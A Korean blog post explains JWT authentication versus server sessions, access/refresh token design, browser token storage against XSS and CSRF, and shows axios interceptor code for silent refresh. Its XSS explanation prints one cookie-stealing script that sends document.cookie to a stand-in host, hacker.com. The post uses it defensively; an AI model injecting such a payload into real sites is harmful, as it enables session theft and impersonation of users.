JWT 인증은 무엇이고 어떻게 사용해야 할까?
마이크로서비스 아키텍처가 많이 보급 되면서 클라이언트와 서버 간의 인증 상태를 유지하는 기존의 전통적인 서버 세션 방식과는 다른 클라이드 사이드 세션인 JWT(JSON Web Token) 방식이 많이 활용되고 있습니다. 필자도 처음에는 "마이크로 서비스에서는 인증은 주로 JWT를 사용한다" 라는 의견에 공감하면서 그냥 생각없이 사용하고 있었는데 한번은 정리해야 할 필요성을 느껴 정리해볼까 합니다. 이번글에서는 기존의 세션 방식과 JWT Token 방식은 어떤 차이가 있으며 마이크로 서비스에서는 왜 JWT가 사용되는지, 보안적으로는 어떤 고려할 사항들은 어떤 것들이 있는지 알아 보겠습니다.
인증 유지는 무엇이고 왜 필요한가?
일반적인 서비스라면 대부분 백엔드 서버에서 특정 사용자의 주문 처리, 특정 사용자의 주문 목록 전달 등과 같이 로그인 사용자 또는 그 사용자의 권한에 맞는 정보를 제공하거나 로직을 처리하게 됩니다.
인증 유지라는 개념은 사용자가 한번 로그인 한 이후 특정 시간 내에는 다시 로그인하지 않아도 사용자의 로그인 상태를 계속 유지시켜주는 개념입니다. 이 인증 유지 개념이 없는 시스템이라면 사용자는 화면이 전환될 때 마다 매번 로그인을 해야 하거나 서버에서는 매번 요청에 대해 사용자가 이 요청을 처리할 수 있는 사용자인지에 대해 사용자 정보 저장소(주로 DB)로 부터 사용자 정보를 읽어 와서 확인하는 과정을 거쳐야 할 것입니다.
따라서 대부분의 서버는 처음 접속 시 로그인 과정을 통해 인증 받은 사용자는 사용자의 권한 정보 등을 메모리 등 쉽고 빠르게 접근 가능한 방식으로 보관하고, 로그인 된 사용자를 유일하게 식별할 수 있는 인증 키 등을 발급하고, 이 인증 키 정보를 이용해서 계속 요청을 보내는 방식을 사용합니다.
이런 개념을 인증 유지라고 할 수 있습니다. 일반적으로는 세션(Session) 유지 라는 용어가 더 많이 사용되기도 합니다. 사용자 입장에서 보면 당연한 것이지만 서비스를 개발하고 운영하는 입장에서 보면 매우 까다로운 이슈입니다.
왜 까다롭나?
HTTP 이전 환경에서는
클라이언트가 바이너리 형태로 배포되는 독립적인 애플리케이션의 클라이언트와 이 클라이언트에 전용으로 대응하는 서버 시스템의 경우 클라이언트 - 서버간의 요청에 대한 규격은 표준화 되지 않았습니다. 따라서 시스템을 구성하는 측에서 임의로 정의하였기 때문에 어떤 방식으로 인증하는 지에 대해서는 외부에 노출되는 경우가 드물었습니다.
클라이언트-서버 이전의 환경도 보면 클라이언트에는 로직을 처리하거나 인증 키 같은 같은 데이터를 저장할 수 있는 기능이 없고 단순히 모니터와 키보드로 구성된 형태이기 때문에 인증 유지 개념이라기 보다는 연결 유지 개념이 더 강했다고 할 수 있습니다. 따라서 별도의 인증 유지 개념은 필요가 없었습니다.
최근에는 웹이 아닌 안드로이드나 iOS 애플리케이션의 경우 클라이언트/서버 형태의 시스템이라고 할 수 있습니다. 하지만 애플리케이션과 백엔드 서버 사이의 주요 통신은 공개된 망과 공개된 프로토콜인 HTTP로 처리하고 있기 때문에 전통적인 클라이언트/서버 아키텍처에서 사용했던 방식이 아닌 다음에 설명할 HTTP 프로토콜에서 처리하는 인증방식을 주로 사용하고 있습니다.
HTTP 시대로 넘어 오면서
웹 기반으로 시스템 환경이 넘어 오면서 가장 큰 특징인 표준화되고, 공개된 기술들을 주로 사용하게 되었다는 것입니다. 클라이언트는 몇개의 브라우저 또는 안드로이드/iOS 앱 위주이고, 데이터를 주고 받는 것은 주로 HTTP 프로토콜을 사용하고 있습니다. 네트워크도 모두 공개된 망에서 동작하고 있습니다 과거에 비해 손쉽게 정보를 가로챌 수 있는 환경에 노출되어 있다고 할 수 있습니다.
인증 유지 관점에서 보면 과거의 컴퓨팅 환경에서는 사용자가 로그인을 하면 연결을 지속적으로 유지시키는 방법이다 보니 한번 연결되면 이후로는 특별한 처리를 하지 않아도 계속 세션이 유지되었지만, HTTP는 프로토콜 특성 자체가 연결을 유지시키지 않기 때문에 별도 추가적인 방법을 통해 인증을 유지시켜야 합니다.
정보를 가로챌 수 있는 환경에 더 쉽게 노출되거 있고, 별도의 인증 유지 방법을 추가해야 하기 때문에 현재에는 시스템 구성시에 인증/세션 등에 대해서 더 신경을 쓰고, 정교하게 다뤄야 하는 상황이 되었습니다.
많이 쓰는 인증 유지 방법
인증 유지를 위해 가장 많이 사용하는 방법은 서버 세션 방식입니다. 서버 세션 방식은 웹 초창기 부터 사용하던 방식으로 다음과 같은 방식으로 처리됩니다.
- 사용자 로그인 시 서버는 사용자 인증을 완료하고, 인증된 사용자 정보를 접근이 빠른 저장소인 메모리나 캐쉬 등에 저장한다.
- 서버는 서버에 저장된 사용자 인증 정보의 유일한 키를 발급한다. 이를 세션키라 부른다.
- 서버는 로그인에 대한 응답으로 이 세션키를 클라이언트에게 전달한다.
- 클라이언트는 받은 세션키를 클라이언트의 저장공간(브라우저의 경우 쿠키나 브라우저내 로컬 스토리지 등)에 저장한다.
- 클라이언트는 서버로 작업을 요청할 때 매번 이 세션 키를 같이 전달한다.
- 서버는 클라이언트의 요청에서 세션 키를 이용하여 서버에 저장된(메모리 등) 인증 정보에 있는지 여부(authentication)와, 어떤 사용자의 요청(authorization)인지 확인한다.
인증유지에서 가장 중요한 부분이 보안적인 부분이기 때문에 보안 관점에서 이 세션 방식을 검토해 봅시다.
- 세션 방식에서 보안에서 가장 이슈가 되는 부분은 클라이언트가 가지고 있는 세션키가 유출되는 경우이다. 세션키가 유출되면 이 세션키를 이용하여 악의적으로 서버에 요청을 보낼수 있게 된다.
- 세션 키가 유출되는 피해를 최소화 하기 위해 세션 만료 시간(Session Expire Time) 설정한다. 일반적으로 몇십분 또는 몇시간 이내로 설정하는 경우가 많다.
- 세션 유효시간이 1시간인 경우 1시간 이후에 오는 요청은 만료된 요청으로 간주하고 다시 로그인을 요청하도록 처리한다.
- 이때 세션 유효 시간(세션이 만료되는 시간)의 기준은 클라이언트로 부터 마지막 요청 이후 시간을 사용한다. 이를 위해 서버는 클라이언트로 부터의 매번 요청에 대해 세션 사용 시간을 계속 갱신한다.
- 세션 정보를 DB에 저장해도 되지만 매번 요청올 때마다 세션 정보를 UPDATE해야 하기 때문에 DB에 저장하지 않고, 메모리 또는 캐쉬에 저장한다.
서버 세션 인증 방식이 마이크로 서비스에는 어떤 문제가 있나?
서버 세션 인증 방식이 가장 많이 사용 되고 일반적인 방법이며, 사용자의 권한에 변경이 발생했을 때 즉시 반영할 수 있는 등의 장점이 있습니다. 하지만 서버 세션 인증 방식의 골치아픈 부분이 서버 대수가 한대 이상으로 구성되는 경우입니다.
서버의 메모리에 세션 정보를 보관하는 경우 사용자가 로그인 시 접속한 서버에만 세션정보가 있기 때문에 사용자가 로그인 이후 다른 서버로 요청을 보내면 세션이 없어 다시 로그인을 해야 하는 문제가 발생합니다. 이런 문제를 해결하기 위해서는 추가 방안을 생각해야 합니다.
- 특정 사용자의 요청은 동일한 서버로만 보내는 방법
- 세션 정보를 서버의 메모리가 아닌 공유 캐쉬 등에 저장하는 방법
- 세션 정보를 모든 서버가 동일하게 가지는 방법 등을 사용할 수 있습니다.
서버 댓수가 많지 않고, 모든 서버가 동일한 기능을 수행하는 모놀리딕 아키텍쳐 환경에서는 위와 같은 방법을 통해 해결이 가능합니다. 하지만 서버 댓수가 많아지고, 각 서버의 기술적인 구현체도 다를 수 있는 마이크로 서비스 환경에서는 쉽게 해결할 수 있는 방법은 아닙니다.
JWT 방식
서버 세션 방식과 약간은 반대되는 방식으로 구현한 것이 JWT 방식이라고 할 수 있습니다. 서버에 세션 정보를 저장하지 않고, 로그인 시 클라이언트에게 로그인 사용자 정보가 포함된 토큰을 발행하고, 클라이언트는 서버에 어떤 작업을 요청할 때 마다 이 토큰을 같이 보내고, 서버는 이 토큰에 포함된 사용자 정보를 이용해서 authentication, authorization을 처리하는 방식입니다. 인증을 유지한다는 개념보다는 인증된 값을 계속 제공한다고 볼 수 있습니다.
JWT(JSON Web Token)이라는 이름에 있는 JSON 명칭에서도 알 수 있듯이 JSON으로 만들어진 인증 관련 정보를 인코딩한 토큰을 이용하여 인증하는 방식으로 다음과 같이 처리됩니다.
- 사용자 로그인 시 서버는 사용자 인증을 완료하고 외부에 노출되어도 문제가 없는 인증관련 정보(사용자 ID, 권한 등)를 JSON 형태로 만든다(Payload).
- JSON 형태의 Payload를 base64 인코딩을 해서 문자열을 만들고, 미리 정한 시스템의 SecretKey(전체 시스템에서 사용하는 암호라고 이해하면 됨)를 이용하여 서명 문자열을 생성한다.(JWT 생성관련 사항은 다음 사이트 참고: https://velopert.com/2389)
- Header정보, 인증정보(Payload), 서명 문자열을 하나의 문자열로 합친 후 클라이언트로 전송한다.
- 서버는 인증 요청에 대한 응답으로 이 인코딩된 문자열을 클라이언트로 전달한다.
- 클라이언트는 서버로부터 받은 토큰을 클라이언트의 저장공간(브라우저의 경우 쿠키나 브라우저내 로컬 스토리지 등)에 저장한다.
- 클라이언트는 매번 요청 시 이 토큰을 서버로 같이 전달한다.
- 서버는 클라이언트의 요청에서 받은 토큰 값을 이용하여 어떤 사용자의 요청인지 등을 확인한다.
JWT의 가장 큰 특징은 토큰 자체 내에서 이미 인증 관련 정보를 내장(self-contained)하고 있어 서버들 사이에 이 정보를 공유할 필요 없이 이 토큰을 받은 서버에서 토큰 정보만을 이용하여 인증을 처리할 수 있다는 것입니다. 이 특징 때문에 다른 몇가지 단점이 있음에도 불구하고 마이크로 서비스 기반(또는 여러 언어들이 동시에 사용되는 시스템)의 시스템에서는 많은 관심을 받고 있습니다.
서버 세션 인증 방식과 JWT 인증은 어떤 차이가 있나?
전체적인 처리 흐름을 보면 서버 세션 인증 방식과 JWT를 이용하는 방식에서는 큰 차이는 없지만 실제 사용에 있어서는 큰 차이가 있습니다.
- 인증정보 보관 장소
- 인증이 된 후 해당 키가 어떤 사용자의 것인지에 대한 정보 저장을 어디에서 하느냐?
- Session 방식은 서버에 저장, 따라서 인증된 서버가 아닌 다른 서버에서는 인증 여부를 알 수 없다.
- Session 공유 기술 필요
- JWT Token은 Token 내에 인증된 사용자의 정보를 가지고 있음. 따라서 요청 받은 모든 서버에서 확인이 가능하다.
- 인증된 정보 노출 여부
- 인증 완료 후 클라이언트로부터 요청 시 사용할 사용자 정보를 어디에 저장할 것인가?
- 매 요청마다 DB에서 사용자 정보를 조회하면 성능에 좋지 않기 때문에 메모리 등에 보관한 후 다시 사용한다.
- 세션 방식의 경우 인증 정보가 보안이 잘되어 있는 서버 계층에 보관되기 때문에 세션 정보가 노출 되지는 않는다.
- JWT의 경우 JWT를 발급하는 과정을 보면 사용자ID, 권한 정보 등이 보관되는 Payload 부분은 암호화가 안되고 평문을 단순히 base64 인코딩한 수준이기 때문에 https://jwt.io/ 이런 사이트를 통하면 쉽게 어떤 정보가 저장되어 있는지 확인할 수 있다.
- 따라서 Payload에는 노출되어도 무방한 정보만 저장해야 한다. 예를 들면 사용자 ID(로그인ID가 아닌 단순 일련호), 권한명칭, 소속부서ID 등
- 물론 Payload 부분을 암호화한 JSON Web Encryption (JWE)를 사용할 수도 있지만 아예 노출이 되지 않는 세션 방식보다는 노출되어 있는 것은 사실이다.
- 인증 완료 후 클라이언트로부터 요청 시 사용할 사용자 정보를 어디에 저장할 것인가?
- 인증 정보의 무효화 방법
- 세션키나 인증정보가 유출된 경우 관리자에 의해 강제적으로 인증 정보를 무효화 시켜야 할 필요가 있는데
- 세션 방식의 경우 서버에 보관된 세션 정보를 관리자가 임의로 삭제할 수 있지만
- JWT이 경우 이미 발급된 토큰에 대해 강제적으로 특정 사용자만 무효화 시키기 어렵다.
- 사용자가 로그아웃 처리 시 웹/앱 등 자신이 로그인 한 모든 단말에서 로그아웃 처리를 원할 경우 JWT 기반인 경우 어렵다.
- 타임아웃 처리 방식
- 세션은 요청 시마다 타임아웃 시간이 자동으로 갱신된다. 따라서 사용자가 시스템 간헐적으로 요청을 보내고 있으면 세션이 만료되지 않는다. 따라서 30분 정도의 짧은 세션 타임을 설정해도 사용자는 계속해서 인증이 만료되지 않고 사용이 가능하다.
- JWT의 경우 발급된 토큰 내에 만료 시간을 가지고 있기 때문에 서버는 토큰을 검증하는 과정에서 이 만료 시간을 초과한 경우 유효하지 않은 토큰으로 간주한다.
- JWT 토큰 만료 시간을 길게 주면 토큰을 무효화 시키기 어렵고, 만료 시간을 짧게 주면 재 로그인 해야 하는 불편함이 발생한다.
- 이 문제를 위해 JWT의 경우 Access Token, Refresh Token 두가지 토큰을 많이 사용한다.
위 내용을 정리하면 대략 다음과 같습니다.
구분 | 서버 세션방식 | JWT 방식 |
인증정보 보관 장소 | 서버측에 보관 | Token에 포함시키고 이를 클라이언트가 보관 |
인증된 정보 노출 여부 | 노출되지 않음 | 노출되어 있음 |
인증 정보의 무효화 방법 | 비교적 쉽게 무효화 가능 | 다소 복잡한 로직을 구현해야 가능 |
타임아웃 처리 방식 | 사용자가 요청을 보내면 타임아웃 시간이 계속 연장됨 | 한번 발급된 토큰의 타임아웃 시간은 연장할 수 없음. 재발급 필요 |
JWT 사용 시 보안적으로 고려해야 할 사항은?
현재 많이 사용되는 서버 세션 인증 방식도 100% 완벽하다고 할 수 없습니다. 세션 키가 유출될 경우 이 세션키를 이용해서 다른 사용자의 정보에 접근하거나, 배송지 주소 등을 바꾸는 작업도 할 수 있습니다. 따라서 사용하고자 하는 인증 유지 방법의 특징과 동작원리를 잘 이해하고 어느 정도까지 허용할 것인가를 선택해야 합니다.
Access Token, Refresh Token 이중 토큰 사용
JWT 토큰 관련 문서를 보면 Refresh Token에 대한 내용이 많이 있습니다. 위 세가지 사항을 잘 처리하기 위해서는 하나의 토큰만으로는 처리하기 어려운 경우가 많아서 추가적인 Refresh Token이라는 개념이 나왔는데 위 3가지 사항에 대해 설명하기 전에 먼저 Refresh Token 이 왜 필요한지에 대해 먼저 살펴보겠습니다.
서버 세션 기반의 경우 세션 타임 아웃을 30분 정도로 짧게 설정해도 사용자의 불편함은 크지 않습니다. 이유는 사용자가 서버로 요청을 보낼때 마다 세션 타임 아웃 값은 다시 30분으로 연장되기 때문입니다. 사용자가 30분 내에 한번의 요청이라도 보내면 계속해서 재 로그인 없이 서비스를 사용할 수 있습니다. 반면 JWT의 경우 유효 시간의 정보가 토큰 자체에 저장되어 있기 때문에 한번 발급된 토큰은 인증 시간을 연장 시킬 수 없습니다. 따라서 JWT에서 타임 아웃 시간을 짧게 설정하면 빈번하게 사용자가 재 로그인해야 하는 문제점이 있습니다. 시간을 길게 하면 보안에 취약해지게 됩니다.
이런 문제를 해결하기 위해 매번 요청시 인증된 사용자임을 증명하기 위해 사용되는 Access Token과, Access Token이 만료된 경우 사용자의 재 로그인 없이 Access Token을 재발급 받는데 사용하는 Refresh Token 두가지 종류의 토큰을 사용합니다. Refresh Token은 Access Token 보다는 훨씬 긴 유효 시간을 가지게 설정합니다.
Refresh Token의 유효 시간이 길면 보안에 취약하기 때문에 Access Token을 재발급 할 때에는 보안 관련 사항을 점검한 후 발급해야 합니다. 예를 들면 다음과 같이 처리할 수 있습니다.
- Refresh Token 발급 시 클라이언트의 IP, 브라우저 종류, 버전, 디바이스 등의 정보를 DB에 저장한다.
- 재발급 요청이 오면 Refresh Token 값을 이용하여 1번에서 저장한 정보를 DB에서 가져온다.
- 재발급 요청시의 클라이언트 정보와 DB에서 조회된 정보가 다른 경우 사용자에게 본인이 맞는지 확인하는 절차를 거친다.
토큰 재발급 요청은 사용자별로 Access Token이 만료되었을 때만 발생하기 때문에 위와 같이 다소 시간이 걸리는 로직을 수행해도 시스템 성능에는 영향이 없게 됩니다.
Refresh Token을 사용하게 되면 토큰 탈취를 당했을 때 해당 Refresh Token을 관리자가 무효화 처리를 시키면 Access Token 재발급 강제적으로 막을 수도 있습니다.
이런 이유 이외에 다음에 설명할 토큰 탈취를 어렵게 하기 위해 Access Token 저장소를 브라우저의 메모리(자바스크립트 변수)에 저장하게 하는데 이때 브라우저를 리로드 하거나, 페이지 이동을 하게 되면 Access Token이 없어져 재 발급 받아야 하는 상황이 발생하게 됩니다. 이런 경우에도 Refresh Token을 이용하여 Access Token을 재발급 받을 수 있기 때문에 Access Token 저장소를 자유롭게 선택할 수 있는 장점이 있습니다.
토큰 탈취 관련
일반적인 상황에서는 토큰 또는 세선의 탈취가 어렵겠지만 해커는 다양한 방법으로 세션을 탈취를 시도합니다. 토큰 탈취를 이해하기 위해서는 XSS(Cross-site scripting) 와 CSRF(Cross-Site Request Forgery)에 대한 이해가 필요합니다.
- XSS(Cross Site Scripting)
- XSS 공격을 통해 브라우저의 로컬 스토리지나 쿠키 정보를 해커 사이트로 보낼 수 있다.
- 해커는 해당 사이트에서 제공하는 댓글달기, 글쓰기 등을 화면애서 다음과 같은 게시글을 등록한다.
- <script>document.location = ‘http://hacker.com/cookie?’+document.cookie</script>
- 로그인한 사용자가 이 글을 조회할 경우 세션ID 값이 해커 사이트로 전송된다.
- 해커는 이 토큰을 활용해서 해당 사용자로 위장하는 경우가 발생할 수 있다.
- 이런 공격은 사이트에서 사용자 작성 글에 대해 스크립트를 실행 가능한 상태로 노출하는 경우에 발생한다.
- 최근에는 사이트의 보안 수준이 높아져서 사용자가 입력한 스크립트 포함된 글에 대해서 보안 방지 처리를 하고 있다.
- CSRF(Cross-Site Request Forgery)
- 악성 게시글을 등록하는 것은 동일하나 그 내용이 해커 사이트로 토큰을 탈취하는 것이 아니라 현재 사용중인 사용자가 다른 액션을 처리하게 하는 행위이다.
- 현재 사용자가 로그인된 사이트로 사용자가 의도하지 않은 DELETE, PUT, POST 등의 액션을 보내 주문취소, 자동주문 등을 실행하게 할 수 있다.
해커의 악성 스크립트 등을 바로 노출시키지 않는 대응 방법을 통해 위와 같은 공격을 대부분 막을 수는 있지만 그래도 토큰 정보가 위와 같은 공격에 쉽게 노출되지 않게 하지 위한 고려가 필요합니다. 주로 토큰을 브라우저의 어떤 저장소에 어떤 방법으로 저장 하느냐에 따라 방어할 수 있는 범위가 달라집니다. 브라우저에서 제공하고 있는 저장소별로 XSS, CSRF 공격에 대한 내용은 다음과 같습니다.
구분 | Local Storage | Session Storage | Cookie | 스크립크 내 변수 |
자바스크립트 접근 | 가능 | 가능 | 가능 | 가능 |
HTTP 요청 시
자동 전송 |
미전송 | 미전송 | 전송 | 미전송 |
XSS 공격 가능 | 가능 | 가능 | Http Only 옵션 설정하면 불가능 | 불가능 |
CSRF 공격 가능 | 불가능 | 불가능 | 가능 | 불가능 |
데이터 삭제 | 자동 삭제 안됨
개발자가 명시적으로 코드상에서삭제해야 함 |
브라우저 종료 시 자동 삭제 | 지정된 만료 시간이 되면 자동 삭제됨
Session Cookie는 브라우저 종료시 자동 삭제 Persistent Cookie는 브라우저 종료되어도 자동삭제 안됨 |
페이지 리로드 또는 페이지 이동 시 삭제
브라우저 종료 시 삭제 |
브라우저의 이런 저장소 특징을 이용하여 어느 저장소에 어떤 방식으로 Access Token, Refresh Token을 저장할 것인가 선택해야 합니다.
요구사항 | Access Token | Refresh Token |
XSS 공격 노출 가능 | 노출되면 안됨 | 노출되면 안됨 |
CSRF 공격 노출 가능 | 노출되면 안됨 | 노출되어도 됨
(Refresh Token은 인증용 토큰이 아님) |
데이터 유지 | 적당히 유지되면 됨 | 사용자가 로그아웃 하기전에는 정해진 시간 내에 브라우저에서 삭제 되면 안됨 |
적합한 저장소 | 자바스크립크 내 변수
* 쿠키나 Storage가 아니기 때문에 외부 스크립트에서 사용불가, XSS 방어 * 쿠키가 아니기 때문에 해커에 의한 자동 요청 전송 시에도 CSRF 방어 가능 |
Http Only, Session, Secure 설정된 쿠키
* Http Only로 하면 스크립트에서 사용 불가 * Session 으로 하면 브라우저 종료시 자동 삭제 * Secure로 설정해서 http 프로토콜에서는 해당 쿠키가 전송되지 않고, https에서만 전송되도록 |
AccessToken을 자바스크립트 내에 메모리에 저장하는 경우 필자의 경우 다음과 같이 사용합니다.
1 2 3
AuthService.login(userId, password).then(res => { axios.defaults.headers['Authorization'] = `Bearer ${res.accessToken}`; });
휘발성 AccessToken의 문제 해결
위와 같이 Acess Token을 변수에 저장하는 경우 페이지를 강제 리로딩 하거나 다른 탭에서 동일 페이지를 열 경우 이미 인증 되었음에도 불구하고 Access Token이 없기 때문에 문제가 발생할 수 있습니다. 이런 문제를 해결하기 위해서 모든 요청에 대해 Access Token이 없거나, 만료된 경우 Refresh Token을 이용하여 Access Token을 재발급 받는 로직이 추가 되어야 합니다.
다행히 axios 등과 같이 API를 요청하는 프레임워크 들은 모든 요청에 대해 hook을 설정할 수 있는 기능을 제공하고 있습니다. 이 기능을 사용하여 한번 설정하면 모든 요청에 인증 관련 처리를 할 수 있습니다. 다음은 필자가 사용하는 서비스에서 사용중인 코드입니다.
Refresh 토큰을 브라우저 쿠키에 보관하는 경우 HTTP Request 에 쿠키 값을 함께 전달해야 합니다. 쿠키 값을 함께 전달하기 위해서는 Axios 를 사용하는 경우 아래 처럼 withCredentials 옵션을 true 로 설정해야 합니다.
index.js
1 2 3 4 5
AxiosConfigur.configAuthInterceptor(); ReactDOM.render( <App/>, document.getElementById('root') );
AxiosConfigur.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
export class AxiosConfigur { static configAuthInterceptor() { axios.interceptors.request.use(function (config) { config.withCredentials = true; return config; }, function(error { return Promise.reject(error); }); axios.interceptors.response.use(function (response) { return response; }, function (error) { // Any status codes that falls outside the range of 2xx cause this function to trigger if (error.response?.status === 401) { if (error.response.data?.message === "access token expired") { // access token expired // Access Token 이 만료 되었기 때문에 Http Only 쿠키에 담긴 Refresh 토큰을 사용하여 Access Token을 재 발급 return new Promise((resolve, reject) => { AuthService.silentRefresh().then(() => { // 정상적으로 발급 받았으면, 문제가 발생한 요청을 다시 요청 const config = error.config; config.headers['Authorization'] = axios.defaults.headers['Authorization']; axios.request(config).then(response => { resolve(response); }); }).catch((err) => { console.log("silent refresh error ", err); reject(error); }); }); } else { // invalid access token delete axios.defaults.headers['Authorization']; AuthService.logout().then().catch((error) => { console.log("logout error", error); }).finally(() => { window.location = "/login"; }); } } return Promise.reject(error); }); } }
전체 소스 코드는 다음 레포지토리를 참고하세요
- React 코드:
- Golang 백엔드 코드:
Access Token의 무효화
Refresh Token의 경우 DB에 저장이 되어 있고, Refresh Token 처리 요청도 빈번하게 발생하는 요청이 아니어서 쉽게 무효화 처리를 할 수 있습니다. 반면 Access Token의 경우 무효화 처리가 어렵습니다. 비 정상적인 접근을 발견했거나 Access Token내에 사용자의 Role이 추가되어 있어 Role 변경된 경우 Access Token을 무효화 처리해야 하는 경우가 있습니다. 이 경우 어떻게 처리할 수 있을까요?
필자의 프로젝트에서는 이런 경우는 현재까지 고려하지 있지 않지만 어떻게 처리할 것인가? 정도는 고민을 했었는데 필요 시 다음과 같이 처리할 예정입니다.
- Role이 변경 되었거나, 관리자에 의해 특정 사용자의 토큰이 무효화된 경우 해당 무효화 내용을 이벤트로 발생시켜 모든 서버가 받도록 한다.
- 각 서버는 Access Token 무효화 이벤트를 받으면 서버 메모리에 무효화 토큰 정보를 저장한다.
- 메모리의 Expire Time은 Access Token의 Duration Time으로 설정
- 특수한 상황에서만 발생하고, Access Token의 Duration Time이 짧기 때문에 메모리 사용이 많지 않음
- 클라이언트로 부터 요청 받아 인증 처리 시 서버 메모리에 저장된 무효화된 Access Token에 있는지 확인하고 있으면 에러 처리한다.
- 서버 메모리에서 처리되는 것이기 때문에 성능에 영향을 주지 않음
- 새롭게 시작되는 서버는 Auth Server로 부터 만료된Access Token의 목록을 받는다.
- Auth Server는 일반적으로 MSA 구성 시 토큰 발급을 담당하는 서버를 의미한다.
이 방법이 정답 이라고 할 수 없겠지만 이런 형태로 구성할 수 있다 정도로만 생각해 주셨으면 합니다. 더 좋은 방법이 있으면 공유 부탁드립니다.
마치며
이번 글에서는 JWT Token을 사용하는데 있어 어떤 주의사항을 가지고, 어떤 방식으로 처리하면 좋은지에 대해서 살펴보았습니다. 글 중에서도 계속 언급했지만 실제 사용에 있어서는 다양한 방식으로 사용될 수 있습니다. 필자가 사용하고 있는 방식도 어떤 부분에서는 보안에 취약할 수 있습니다. 글에서 취약한 부분이나 잘못된 부분, 더 좋은 구현 방식이 있으면 알려주시면 참고하겠습니다.
참고 자료
- VELOPERT.LOG: [JWT] JSON Web Token 소개 및 구조
- yaytomato.log: 프론트에서 안전하게 로그인 처리하기
- 모르는게 많은 개발자: JWT 저장소에 대한 고민(feat. XSS, CSRF)
- Thumbnail Image: https://www.loginradius.com/blog/engineering/jwt/